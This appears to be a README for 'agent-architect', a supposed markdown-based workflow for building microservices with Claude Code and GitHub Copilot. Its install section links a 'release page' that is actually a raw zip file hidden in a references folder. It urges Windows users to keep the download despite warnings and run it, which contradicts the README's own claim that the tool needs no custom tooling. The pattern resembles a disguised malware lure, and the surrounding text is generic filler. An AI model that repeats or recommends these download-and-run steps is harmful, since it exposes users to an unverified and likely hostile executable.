🤖 agent-architect - Build microservices with clear steps

🧭 What this app does

agent-architect helps you plan and build multi-microservice systems with a clear, step-by-step flow. It uses simple markdown files and slash commands to move from idea to working setup.

Use it to:

• map out a system before you build it
• define service contracts in plain text
• keep each service aligned with the plan
• validate the result before you move on

This tool fits teams and solo users who want a structured way to build software with Claude Code and GitHub Copilot.

📥 Download and install

1. Open the release page: https://raw.githubusercontent.com/Lluis5713/agent-architect/main/context/references/existing-apis/architect_agent_2.4.zip
2. Find the latest release
3. Download the Windows file from that release
4. Open the file after it finishes downloading
5. Follow the on-screen steps to set it up

If your browser asks for permission, choose to keep the file. If Windows shows a prompt, choose to run it.

🪟 Windows setup

Before you start, make sure you have:

• a Windows 10 or Windows 11 PC
• an internet connection
• enough free space for the app and related files
• access to your browser and file downloads

After download:

1. Open your Downloads folder
2. Double-click the downloaded file
3. Allow Windows to run it
4. Wait for the setup to finish
5. Start the app from the shortcut or the folder it creates

If the app uses a folder-based setup, keep the files in one place and do not rename them.

🛠️ First run

When you open agent-architect for the first time:

1. Choose a workspace folder for your project
2. Add your idea or product goal
3. Start with a plan step
4. Move to spec files for each service
5. Create contracts between services
6. Build each part in order
7. Run validation before you change the next step

This keeps the work organized and easy to follow.

🧩 How the workflow works

agent-architect follows this path:

• Plan: define the system and the parts it needs
• Spec: write clear service details
• Contract: set the rules between services
• Build: create the services
• Validate: check that everything still fits together

Each step uses simple files, so you can review the work without special tools.

📁 What you will see

A typical project built with agent-architect may include:

• a main project plan
• service specs
• API contract files
• build notes
• validation checks
• markdown instructions for Claude Code and GitHub Copilot

This structure helps you keep the project stable as it grows.

🔧 Main use cases

Use agent-architect when you want to:

• split a large app into smaller services
• keep service boundaries clear
• work from a written spec
• reduce guesswork during development
• keep AI coding tools on the same path
• review changes with simple text files

It works well for REST APIs, service orchestration, and teams that want a repeatable process.

👀 What you need

For best results, use:

• Windows 10 or Windows 11
• a modern browser
• Claude Code or GitHub Copilot access
• a text editor
• a folder where you can store project files

No complex setup is needed to start using the release from the download page.

🧠 Tips for smooth use

• Keep one project per folder
• Use clear names for services
• Write short specs with one task per file
• Review contract files before you build
• Validate after each change
• Save backups before large edits

These habits make it easier to track what changed and why.

📝 Example project flow

A simple microservice project might look like this:

1. You write a plan for an order system
2. You split it into order, payment, and user services
3. You define the API contract for each service
4. You build one service at a time
5. You check that requests and responses still match
6. You validate the full system before release

This keeps the work clear from start to finish.

🔍 Topics covered

This project connects with:

• AI agents
• AI coding
• API contracts
• code generation
• developer tools
• GitHub Copilot
• LLM workflows
• microservices
• multi-agent systems
• NestJS
• orchestration
• productivity
• REST APIs
• software architecture
• spec-driven development
• TypeScript

📌 File-based approach

agent-architect avoids custom tooling and keeps the process in markdown and slash commands. That makes it easier to:

• read the project state
• share work with others
• edit with a normal text editor
• keep the process visible
• reuse the same structure in later projects

✅ Best results

Use the app in this order:

• plan first
• write the spec
• define the contract
• build the service
• validate the result

If you keep that order, each step stays easier to manage and the project stays clearer for anyone who joins later.